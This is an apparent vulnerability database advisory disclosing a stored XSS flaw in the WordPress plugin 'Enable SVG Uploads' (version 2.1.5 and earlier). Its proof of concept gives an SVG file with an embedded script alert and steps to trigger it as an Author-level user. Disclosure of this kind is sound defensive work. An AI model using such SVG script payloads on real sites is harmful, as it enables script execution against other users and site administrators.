WordPress Plugin Vulnerabilities

Enable SVG Uploads <= 2.1.5 - Author+ Stored XSS via SVG

Description

The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads.

Proof of Concept

1. Upload a malicious SVG: <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"> alert("XSS Test"); </script> </svg>

2. Add to post and view SVG to see XSS.

Affects Plugins

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Mateus Machado Tesser
Submitter
Mateus Machado Tesser
Verified
Yes

Timeline

Publicly Published
2023-06-19 (about 5 months ago)
Added
2023-06-19 (about 5 months ago)
Last Updated
2023-06-19 (about 5 months ago)

Other